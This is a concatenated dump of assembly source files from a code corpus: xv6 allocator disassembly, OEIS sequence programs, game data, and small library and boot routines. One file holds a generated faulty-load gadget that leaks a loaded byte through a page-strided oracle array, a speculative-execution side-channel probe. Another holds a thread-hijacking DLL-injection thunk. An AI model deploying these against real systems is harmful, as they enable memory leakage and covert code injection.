ap++;\n 88a:\t83 c7 04 \tadd $0x4,%edi\n putc(fd, *ap);\n 88d:\t88 45 e4 \tmov %al,-0x1c(%ebp)\n write(fd, &c, 1);\n 890:\t8d 45 e4 \tlea -0x1c(%ebp),%eax\n 893:\t50 \tpush %eax\n 894:\tff 75 08 \tpushl 0x8(%ebp)\n 897:\te8 06 fd ff ff \tcall 5a2 \n ap++;\n 89c:\t89 7d d4 \tmov %edi,-0x2c(%ebp)\n 89f:\t83 c4 10 \tadd $0x10,%esp\n state = 0;\n 8a2:\t31 ff \txor %edi,%edi\n 8a4:\te9 8f fe ff ff \tjmp 738 \n s = \"(null)\";\n 8a9:\tbb 7e 0a 00 00 \tmov $0xa7e,%ebx\n while(*s != 0){\n 8ae:\tb8 28 00 00 00 \tmov $0x28,%eax\n 8b3:\te9 72 ff ff ff \tjmp 82a \n 8b8:\t66 90 \txchg %ax,%ax\n 8ba:\t66 90 \txchg %ax,%ax\n 8bc:\t66 90 \txchg %ax,%ax\n 8be:\t66 90 \txchg %ax,%ax\n\n000008c0 :\nstatic Header base;\nstatic Header *freep;\n\nvoid\nfree(void *ap)\n{\n 8c0:\t55 \tpush %ebp\n Header *bp, *p;\n\n bp = (Header*)ap - 1;\n for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)\n 8c1:\ta1 20 0e 00 00 \tmov 0xe20,%eax\n{\n 8c6:\t89 e5 \tmov %esp,%ebp\n 8c8:\t57 \tpush %edi\n 8c9:\t56 \tpush %esi\n 8ca:\t53 \tpush %ebx\n 8cb:\t8b 5d 08 \tmov 0x8(%ebp),%ebx\n bp = (Header*)ap - 1;\n 8ce:\t8d 4b f8 \tlea -0x8(%ebx),%ecx\n 8d1:\t8d b4 26 00 00 00 00 \tlea 0x0(%esi,%eiz,1),%esi\n for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)\n 8d8:\t39 c8 \tcmp %ecx,%eax\n 8da:\t8b 10 \tmov (%eax),%edx\n 8dc:\t73 32 \tjae 910 \n 8de:\t39 d1 \tcmp %edx,%ecx\n 8e0:\t72 04 \tjb 8e6 \n if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))\n 8e2:\t39 d0 \tcmp %edx,%eax\n 8e4:\t72 32 \tjb 918 \n break;\n if(bp + bp->s.size == p->s.ptr){\n 8e6:\t8b 73 fc \tmov -0x4(%ebx),%esi\n 8e9:\t8d 3c f1 \tlea (%ecx,%esi,8),%edi\n 8ec:\t39 fa \tcmp %edi,%edx\n 8ee:\t74 30 \tje 920 \n bp->s.size += p->s.ptr->s.size;\n bp->s.ptr = p->s.ptr->s.ptr;\n } else\n bp->s.ptr = p->s.ptr;\n 8f0:\t89 53 f8 \tmov %edx,-0x8(%ebx)\n if(p + p->s.size == bp){\n 8f3:\t8b 50 04 \tmov 0x4(%eax),%edx\n 8f6:\t8d 34 d0 \tlea (%eax,%edx,8),%esi\n 8f9:\t39 f1 \tcmp %esi,%ecx\n 8fb:\t74 3a \tje 937 \n p->s.size += bp->s.size;\n p->s.ptr = bp->s.ptr;\n } else\n p->s.ptr = bp;\n 8fd:\t89 08 \tmov %ecx,(%eax)\n freep = p;\n 8ff:\ta3 20 0e 00 00 \tmov %eax,0xe20\n}\n 904:\t5b \tpop %ebx\n 905:\t5e \tpop %esi\n 906:\t5f \tpop %edi\n 907:\t5d \tpop %ebp\n 908:\tc3 \tret \n 909:\t8d b4 26 00 00 00 00 \tlea 0x0(%esi,%eiz,1),%esi\n if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))\n 910:\t39 d0 \tcmp %edx,%eax\n 912:\t72 04 \tjb 918 \n 914:\t39 d1 \tcmp %edx,%ecx\n 916:\t72 ce \tjb 8e6 \n{\n 918:\t89 d0 \tmov %edx,%eax\n 91a:\teb bc \tjmp 8d8 \n 91c:\t8d 74 26 00 \tlea 0x0(%esi,%eiz,1),%esi\n bp->s.size += p->s.ptr->s.size;\n 920:\t03 72 04 \tadd 0x4(%edx),%esi\n 923:\t89 73 fc \tmov %esi,-0x4(%ebx)\n bp->s.ptr = p->s.ptr->s.ptr;\n 926:\t8b 10 \tmov (%eax),%edx\n 928:\t8b 12 \tmov (%edx),%edx\n 92a:\t89 53 f8 \tmov %edx,-0x8(%ebx)\n if(p + p->s.size == bp){\n 92d:\t8b 50 04 \tmov 0x4(%eax),%edx\n 930:\t8d 34 d0 \tlea (%eax,%edx,8),%esi\n 933:\t39 f1 \tcmp %esi,%ecx\n 935:\t75 c6 \tjne 8fd \n p->s.size += bp->s.size;\n 937:\t03 53 fc \tadd -0x4(%ebx),%edx\n freep = p;\n 93a:\ta3 20 0e 00 00 \tmov %eax,0xe20\n p->s.size += bp->s.size;\n 93f:\t89 50 04 \tmov %edx,0x4(%eax)\n p->s.ptr = bp->s.ptr;\n 942:\t8b 53 f8 \tmov -0x8(%ebx),%edx\n 945:\t89 10 \tmov %edx,(%eax)\n}\n 947:\t5b \tpop %ebx\n 948:\t5e \tpop %esi\n 949:\t5f \tpop %edi\n 94a:\t5d \tpop %ebp\n 94b:\tc3 \tret \n 94c:\t8d 74 26 00 \tlea 0x0(%esi,%eiz,1),%esi\n\n00000950 :\n return freep;\n}\n\nvoid*\nmalloc(uint nbytes)\n{\n 950:\t55 \tpush %ebp\n 951:\t89 e5 \tmov %esp,%ebp\n 953:\t57 \tpush %edi\n 954:\t56 \tpush %esi\n 955:\t53 \tpush %ebx\n 956:\t83 ec 0c \tsub $0xc,%esp\n Header *p, *prevp;\n uint nunits;\n\n nunits = (nbytes + sizeof(Header) - 1)\/sizeof(Header) + 1;\n 959:\t8b 45 08 \tmov 0x8(%ebp),%eax\n if((prevp = freep) == 0){\n 95c:\t8b 15 20 0e 00 00 \tmov 0xe20,%edx\n nunits = (nbytes + sizeof(Header) - 1)\/sizeof(Header) + 1;\n 962:\t8d 78 07 \tlea 0x7(%eax),%edi\n 965:\tc1 ef 03 \tshr $0x3,%edi\n 968:\t83 c7 01 \tadd $0x1,%edi\n if((prevp = freep) == 0){\n 96b:\t85 d2 \ttest %edx,%edx\n 96d:\t0f 84 9d 00 00 00 \tje a10 \n 973:\t8b 02 \tmov (%edx),%eax\n 975:\t8b 48 04 \tmov 0x4(%eax),%ecx\n base.s.ptr = freep = prevp = &base;\n base.s.size = 0;\n }\n for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){\n if(p->s.size >= nunits){\n 978:\t39 cf \tcmp %ecx,%edi\n 97a:\t76 6c \tjbe 9e8 \n 97c:\t81 ff 00 10 00 00 \tcmp $0x1000,%edi\n 982:\tbb 00 10 00 00 \tmov $0x1000,%ebx\n 987:\t0f 43 df \tcmovae %edi,%ebx\n p = sbrk(nu * sizeof(Header));\n 98a:\t8d 34 dd 00 00 00 00 \tlea 0x0(,%ebx,8),%esi\n 991:\teb 0e \tjmp 9a1 \n 993:\t90 \tnop\n 994:\t8d 74 26 00 \tlea 0x0(%esi,%eiz,1),%esi\n for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){\n 998:\t8b 02 \tmov (%edx),%eax\n if(p->s.size >= nunits){\n 99a:\t8b 48 04 \tmov 0x4(%eax),%ecx\n 99d:\t39 f9 \tcmp %edi,%ecx\n 99f:\t73 47 \tjae 9e8 \n p->s.size = nunits;\n }\n freep = prevp;\n return (void*)(p + 1);\n }\n if(p == freep)\n 9a1:\t39 05 20 0e 00 00 \tcmp %eax,0xe20\n 9a7:\t89 c2 \tmov %eax,%edx\n 9a9:\t75 ed \tjne 998 \n p = sbrk(nu * sizeof(Header));\n 9ab:\t83 ec 0c \tsub $0xc,%esp\n 9ae:\t56 \tpush %esi\n 9af:\te8 56 fc ff ff \tcall 60a \n if(p == (char*)-1)\n 9b4:\t83 c4 10 \tadd $0x10,%esp\n 9b7:\t83 f8 ff \tcmp $0xffffffff,%eax\n 9ba:\t74 1c \tje 9d8 \n hp->s.size = nu;\n 9bc:\t89 58 04 \tmov %ebx,0x4(%eax)\n free((void*)(hp + 1));\n 9bf:\t83 ec 0c \tsub $0xc,%esp\n 9c2:\t83 c0 08 \tadd $0x8,%eax\n 9c5:\t50 \tpush %eax\n 9c6:\te8 f5 fe ff ff \tcall 8c0 \n return freep;\n 9cb:\t8b 15 20 0e 00 00 \tmov 0xe20,%edx\n if((p = morecore(nunits)) == 0)\n 9d1:\t83 c4 10 \tadd $0x10,%esp\n 9d4:\t85 d2 \ttest %edx,%edx\n 9d6:\t75 c0 \tjne 998 \n return 0;\n }\n}\n 9d8:\t8d 65 f4 \tlea -0xc(%ebp),%esp\n return 0;\n 9db:\t31 c0 \txor %eax,%eax\n}\n 9dd:\t5b \tpop %ebx\n 9de:\t5e \tpop %esi\n 9df:\t5f \tpop %edi\n 9e0:\t5d \tpop %ebp\n 9e1:\tc3 \tret \n 9e2:\t8d b6 00 00 00 00 \tlea 0x0(%esi),%esi\n if(p->s.size == nunits)\n 9e8:\t39 cf \tcmp %ecx,%edi\n 9ea:\t74 54 \tje a40 \n p->s.size -= nunits;\n 9ec:\t29 f9 \tsub %edi,%ecx\n 9ee:\t89 48 04 \tmov %ecx,0x4(%eax)\n p += p->s.size;\n 9f1:\t8d 04 c8 \tlea (%eax,%ecx,8),%eax\n p->s.size = nunits;\n 9f4:\t89 78 04 \tmov %edi,0x4(%eax)\n freep = prevp;\n 9f7:\t89 15 20 0e 00 00 \tmov %edx,0xe20\n}\n 9fd:\t8d 65 f4 \tlea -0xc(%ebp),%esp\n return (void*)(p + 1);\n a00:\t83 c0 08 \tadd $0x8,%eax\n}\n a03:\t5b \tpop %ebx\n a04:\t5e \tpop %esi\n a05:\t5f \tpop %edi\n a06:\t5d \tpop %ebp\n a07:\tc3 \tret \n a08:\t90 \tnop\n a09:\t8d b4 26 00 00 00 00 \tlea 0x0(%esi,%eiz,1),%esi\n base.s.ptr = freep = prevp = &base;\n a10:\tc7 05 20 0e 00 00 24 \tmovl $0xe24,0xe20\n a17:\t0e 00 00 \n a1a:\tc7 05 24 0e 00 00 24 \tmovl $0xe24,0xe24\n a21:\t0e 00 00 \n base.s.size = 0;\n a24:\tb8 24 0e 00 00 \tmov $0xe24,%eax\n a29:\tc7 05 28 0e 00 00 00 \tmovl $0x0,0xe28\n a30:\t00 00 00 \n a33:\te9 44 ff ff ff \tjmp 97c \n a38:\t90 \tnop\n a39:\t8d b4 26 00 00 00 00 \tlea 0x0(%esi,%eiz,1),%esi\n prevp->s.ptr = p->s.ptr;\n a40:\t8b 08 \tmov (%eax),%ecx\n a42:\t89 0a \tmov %ecx,(%edx)\n a44:\teb b1 \tjmp 9f7 \n","avg_line_length":34.843335439,"max_line_length":60,"alphanum_fraction":0.4064397991} {"size":1754,"ext":"asm","lang":"Assembly","max_stars_count":22.0,"content":"; A166956: a(n) = 2^n +(-1)^n - 2.\n; 0,-1,3,5,15,29,63,125,255,509,1023,2045,4095,8189,16383,32765,65535,131069,262143,524285,1048575,2097149,4194303,8388605,16777215,33554429,67108863,134217725,268435455,536870909,1073741823,2147483645,4294967295,8589934589,17179869183,34359738365,68719476735,137438953469,274877906943,549755813885,1099511627775,2199023255549,4398046511103,8796093022205,17592186044415,35184372088829,70368744177663,140737488355325,281474976710655,562949953421309,1125899906842623,2251799813685245,4503599627370495,9007199254740989,18014398509481983,36028797018963965,72057594037927935,144115188075855869,288230376151711743,576460752303423485,1152921504606846975,2305843009213693949,4611686018427387903,9223372036854775805,18446744073709551615,36893488147419103229,73786976294838206463,147573952589676412925,295147905179352825855,590295810358705651709,1180591620717411303423,2361183241434822606845,4722366482869645213695,9444732965739290427389,18889465931478580854783,37778931862957161709565,75557863725914323419135,151115727451828646838269,302231454903657293676543,604462909807314587353085,1208925819614629174706175,2417851639229258349412349,4835703278458516698824703,9671406556917033397649405,19342813113834066795298815,38685626227668133590597629,77371252455336267181195263,154742504910672534362390525,309485009821345068724781055,618970019642690137449562109,1237940039285380274899124223,2475880078570760549798248445,4951760157141521099596496895,9903520314283042199192993789,19807040628566084398385987583,39614081257132168796771975165,79228162514264337593543950335,158456325028528675187087900669,316912650057057350374175801343,633825300114114700748351602685\n\nmov $1,2\npow $1,$0\nmod $0,2\nmul $0,2\nadd $1,4\nsub $1,$0\nsub $1,5\nmov $0,$1\n","avg_line_length":146.1666666667,"max_line_length":1642,"alphanum_fraction":0.9087799316} {"size":205,"ext":"asm","lang":"Assembly","max_stars_count":28.0,"content":"\tdb \"HERB@\" ; species name\n\tdw 511, 2220 ; height, weight\n\n\tdb \"Anyone who stands\"\n\tnext \"beside it becomes\"\n\tnext \"refreshed, just as\"\n\n\tpage \"if they were\"\n\tnext \"relaxing in a\"\n\tnext \"sunny forest.@\"\n","avg_line_length":18.6363636364,"max_line_length":30,"alphanum_fraction":0.6682926829} {"size":684,"ext":"asm","lang":"Assembly","max_stars_count":null,"content":"\nINCLUDE \"clib_cfg.asm\"\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\nIF __CLIB_OPT_ERROR\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n ; verbose mode\n\n SECTION code_clib\n SECTION code_error\n \n PUBLIC error_efbig_zc\n \n EXTERN error_efbig_mc\n \n pop hl\n \n error_efbig_zc:\n \n ; set hl = 0\n ; set carry flag\n ; set errno = EFBIG\n \n call error_efbig_mc\n \n inc hl\n ret\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\nELSE\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n SECTION code_clib\n SECTION code_error\n \n PUBLIC error_efbig_zc\n \n EXTERN errno_zc\n \n defc error_efbig_zc = errno_zc - 2\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\nENDIF\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n","avg_line_length":14.8695652174,"max_line_length":37,"alphanum_fraction":0.4371345029} {"size":318,"ext":"asm","lang":"Assembly","max_stars_count":1.0,"content":"[org 0x7c00]\nmov ah, 0x0e\n\nmov al, \"1\"\nint 0x10\nmov al, the_secret\nint 0x10\n\nmov al, \"2\"\nint 0x10\nmov al, [the_secret]\nint 0x10\n\nmov al, \"3\"\nint 0x10\nmov bx, the_secret\nadd bx, 0x7c00\nmov al, [bx]\nint 0x10\n\nmov al, \"4\"\nint 0x10\nmov al, [0x7c2d]\nint 0x10\n\njmp $\n\nthe_secret: db \"X\"\n\ntimes 510 - ($ - $$) db 0\ndw 0xaa55\n","avg_line_length":9.9375,"max_line_length":25,"alphanum_fraction":0.6509433962} {"size":6173,"ext":"asm","lang":"Assembly","max_stars_count":9.0,"content":".global s_prepare_buffers\ns_prepare_buffers:\npush %r8\npush %r9\npush %rax\npush %rbp\npush %rcx\npush %rdi\npush %rsi\nlea addresses_UC_ht+0xf3a9, %rsi\nlea addresses_WT_ht+0x14fdb, %rdi\nnop\nnop\nnop\nnop\nnop\nand $52172, %rax\nmov $32, %rcx\nrep movsq\nnop\nnop\nadd $1076, %rsi\nlea addresses_WC_ht+0xd1f, %r8\nnop\nnop\nnop\nnop\nnop\nadd $13479, %rax\nmovl $0x61626364, (%r8)\nnop\nnop\nnop\nsub %rax, %rax\nlea addresses_WC_ht+0x1065b, %rsi\ndec %rbp\nvmovups (%rsi), %ymm4\nvextracti128 $0, %ymm4, %xmm4\nvpextrq $0, %xmm4, %r9\nnop\ncmp %rsi, %rsi\nlea addresses_UC_ht+0x13f5b, %rax\nnop\nnop\nnop\nnop\nsub %rdi, %rdi\nmov $0x6162636465666768, %r8\nmovq %r8, %xmm0\nmovups %xmm0, (%rax)\nxor %rsi, %rsi\nlea addresses_D_ht+0x190b, %rdi\ndec %rax\nmovb (%rdi), %cl\nnop\nnop\nnop\nnop\ndec %rcx\nlea addresses_WC_ht+0x13203, %r8\nnop\nnop\nnop\nand %rsi, %rsi\nmovups (%r8), %xmm2\nvpextrq $1, %xmm2, %rdi\nnop\nnop\nnop\ndec %rbp\nlea addresses_A_ht+0x4f03, %rsi\nlea addresses_A_ht+0x1735b, %rdi\nnop\nnop\nnop\nxor $48324, %r9\nmov $81, %rcx\nrep movsw\nxor $37011, %rcx\nlea addresses_normal_ht+0x60a1, %r9\nnop\nnop\nxor %rdi, %rdi\nmov (%r9), %r8d\nnop\nnop\nnop\nnop\nnop\nand %r9, %r9\nlea addresses_UC_ht+0x13f5b, %r9\nclflush (%r9)\nnop\nnop\nnop\nand %rdi, %rdi\nvmovups (%r9), %ymm4\nvextracti128 $0, %ymm4, %xmm4\nvpextrq $1, %xmm4, %rsi\nnop\nnop\nnop\nnop\nnop\nlfence\npop %rsi\npop %rdi\npop %rcx\npop %rbp\npop %rax\npop %r9\npop %r8\nret\n\n .global s_faulty_load\ns_faulty_load:\npush %r10\npush %r12\npush %r14\npush %rbx\npush %rcx\npush %rdi\n\n\/\/ Faulty Load\nlea addresses_normal+0x1365b, %rcx\ninc %r12\nmov (%rcx), %r14w\nlea oracles, %r12\nand $0xff, %r14\nshlq $12, %r14\nmov (%r12,%r14,1), %r14\npop %rdi\npop %rcx\npop %rbx\npop %r14\npop %r12\npop %r10\nret\n\n\/*\n\n[REF]\n{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}}\n[Faulty Load]\n{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}\n\n{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}}\n{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}\n{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': True}}\n{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}\n{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}\n{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': True}}\n{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': True}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}}\n{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': False}}\n{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': True}}\n{'34': 21713}\n34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34\n*\/\n","avg_line_length":38.8238993711,"max_line_length":2999,"alphanum_fraction":0.6580268913} {"size":189,"ext":"asm","lang":"Assembly","max_stars_count":2.0,"content":"BITS 32\n;TEST_FILE_META_BEGIN\n;TEST_TYPE=TEST_F\n;TEST_IGNOREFLAGS=\n;TEST_FILE_META_END\n\n;TEST_BEGIN_RECORDING\nlea edi, [esp-0x200]\n; save state\nFNSAVE [edi]\nmov edi, 0\n;TEST_END_RECORDING\n\n","avg_line_length":13.5,"max_line_length":21,"alphanum_fraction":0.8042328042} {"size":161,"ext":"asm","lang":"Assembly","max_stars_count":32.0,"content":"incsrc \"vars.asm\"\n\n\/\/; Germany code locations\ndefine SwapBank8 $d787\ndefine SwapBankA $d796\ndefine SwitchOld $bf0f\ndefine GetTilePtr $ef90\n\nincsrc \"mapextra.asm\"","avg_line_length":17.8888888889,"max_line_length":26,"alphanum_fraction":0.7888198758} {"size":476,"ext":"asm","lang":"Assembly","max_stars_count":22.0,"content":"; A098502: 16*n - 4.\n; 12,28,44,60,76,92,108,124,140,156,172,188,204,220,236,252,268,284,300,316,332,348,364,380,396,412,428,444,460,476,492,508,524,540,556,572,588,604,620,636,652,668,684,700,716,732,748,764,780,796,812,828,844,860,876,892,908,924,940,956,972,988,1004,1020,1036,1052,1068,1084,1100,1116,1132,1148,1164,1180,1196,1212,1228,1244,1260,1276,1292,1308,1324,1340,1356,1372,1388,1404,1420,1436,1452,1468,1484,1500,1516,1532,1548,1564,1580,1596\n\nmul $0,16\nadd $0,12\n","avg_line_length":79.3333333333,"max_line_length":433,"alphanum_fraction":0.7457983193} {"size":4797,"ext":"asm","lang":"Assembly","max_stars_count":51.0,"content":" title \"Injection Thunk Assembly Routine\"\n\n;++\n;\n; Copyright (c) 2017 Trent Nelson \n;\n; Module Name:\n;\n; InjectionThunk.asm\n;\n; Abstract:\n;\n; This module implements the injection thunk routine.\n;\n;--\n\ninclude ksamd64.inc\n\n;\n; Define a home parameter + return address structure.\n;\n\nHome struct\n ReturnAddress dq ? ; 8 32 40 (28h)\n Param1 dq ? ; 8 24 32 (20h)\n Param2 dq ? ; 8 16 24 (18h)\n Param3 dq ? ; 8 8 16 (10h)\n Param4 dq ? ; 8 0 8 (08h)\nHome ends\n\n;\n; Define the RTL_INJECTION_THUNK_CONTEXT structure.\n;\n\nThunk struct\n VirtualProtect dq ?\n ExitThread dq ?\n LoadLibraryW dq ?\n GetProcAddress dq ?\n ModulePath dq ?\n ModuleHandle dq ?\n FunctionName dq ?\n FunctionAddress dq ?\nThunk ends\n\nInjLoadLibraryFailed equ -1\nInjGetProcAddressFailed equ -2\n\n LEAF_ENTRY InjectionThunk1Handler, _TEXT$00\n\n mov eax, ExceptionContinueSearch\n ret\n\n LEAF_END InjectionThunk1Handler, _TEXT$00\n\n;++\n;\n; VOID\n; InjectionThunk(\n; _In_ PRTL_INJECTION_THUNK_CONTEXT Thunk\n; );\n;\n; Routine Description:\n;\n; This routine fills one or more pages of memory with a given byte pattern\n; using non-temporal hints.\n;\n; Arguments:\n;\n; Thunk (rcx) - Supplies a pointer to the injection context thunk.\n;\n; Return Value:\n;\n; This routine does not return.\n;\n;--\n\n ;LEAF_ENTRY InjectionThunk1, _TEXT$00, InjectionThunk1Handler\n NESTED_ENTRY InjectionThunk1, _TEXT$00, InjectionThunk1Handler\n END_PROLOGUE\n\n;\n; Put in a dummy nop just so our first byte isn't a jump, and thus, won't be\n; skipped over by SkipJumps.\n;\n\n nop\n\n;\n; Jump past our inline quadwords reserved for rsp and rcx.\n;\n\n jmp Inj05\n\n align 16\n\n ALTERNATE_ENTRY InjRsp\n dq ?\n\n ALTERNATE_ENTRY InjRcx\n dq ?\n\n align 16\n\nInj05: mov qword ptr [InjRsp], rsp ; Save rsp.\n mov qword ptr [InjRcx], rcx ; Save rcx.\n\n;\n; Move the thunk pointer in rcx to r11, move the path name into rcx, set the\n; return address to the instruction after the call, then \"call\" LoadLibrary by\n; way of a long jump.\n;\n\n mov r11, rcx\n mov rcx, qword ptr Thunk.ModulePath[rcx]\n mov rsp, qword ptr [InjectionThunkCallout1]\n jmp qword ptr Thunk.LoadLibraryW[r11]\n\n ALTERNATE_ENTRY InjectionThunkCallout1\n\n;\n; We should resume execution here after LoadLibraryW() returns. Verify the\n; module was loaded successfully.\n;\n\n test rax, rax ; Is handle NULL?\n jz Inj70 ; LoadLibraryW() failed.\n\n;\n; Module was loaded successfully. Load it into rcx, load the function name\n; into rdx, set the return address to the instruction after the call, then\n; then \"call\" GetProcAddress by way of a long jump.\n;\n\n mov r11, qword ptr [InjRcx] ; Re-load Thunk into r11.\n mov Thunk.ModuleHandle[r11], rax ; Save handle.\n mov rcx, rax ; Load module into rcx.\n mov rdx, Thunk.FunctionName[r11] ; Load function name.\n mov rsp, qword ptr [InjectionThunkCallout2] ; Set return address.\n jmp qword ptr Thunk.GetProcAddress[r11] ; \"Call\" GetProcAddress.\n\n ALTERNATE_ENTRY InjectionThunkCallout2\n\n;\n; Verify the return value.\n;\n\n test rax, rax ; Is PROC NULL?\n jz Inj80 ; Yes; GetProcAddress() failed.\n\n;\n; The function was resolved successfully. Save a copy of the resolved address\n; in the thunk.\n;\n\n mov rcx, qword ptr [InjRcx] ; Re-load Thunk into rcx.\n mov Thunk.FunctionAddress[rcx], rax ; Save the function.\n\n;\n; Load the original return address back into the return address such that it\n; looks like kernel32!BaseThreadInitThunk called us.\n;\n mov rsp, qword ptr [InjRsp]\n jmp Thunk.FunctionAddress[rcx] ; Call the thread entry routine.\n\nInj70: mov rcx, InjLoadLibraryFailed ; Load the error code.\n jmp short Inj90\n\nInj80: mov rcx, InjGetProcAddressFailed ; Load the error code.\n\nInj90: mov r11, qword ptr [InjRcx] ; Move Thunk into r11.\n jmp Thunk.ExitThread[r11] ; Terminate thread.\n\n LEAF_END InjectionThunk1, _TEXT$00\n\n; vim:set tw=80 ts=8 sw=4 sts=4 et syntax=masm fo=croql com=:; :\n\nend\n","avg_line_length":26.7988826816,"max_line_length":80,"alphanum_fraction":0.5803627267} {"size":767,"ext":"asm","lang":"Assembly","max_stars_count":11.0,"content":"; A115246: Number of different ways to select n elements from three sets of n elements such that there is at least one element from each set.\n; Submitted by Christian Krause\n; 0,0,27,288,2250,15795,105987,696864,4540968,29490750,191420427,1243565235,8091223647,52739879283,344402073027,2253045672480,14764068268068,96899123172708,636877933530303,4191430966219038,27617820628739718,182176855684869243,1202912275541006163,7950164919277978803,52588167909329580375,348129935174269170975,2306273606683574058387,15288812689997286606195,101416777765228668135243,673132619712835476645795,4470228055779262703971971,29701742275144243582134816,197443904446817097176776476\n\nmov $1,$0\nadd $1,1\nmul $1,2\nmov $2,$0\nadd $0,$1\nbin $0,$2\nadd $0,1\nadd $2,1\nbin $1,$2\nsub $0,$1\nmul $0,3\n","avg_line_length":47.9375,"max_line_length":486,"alphanum_fraction":0.8409387223} 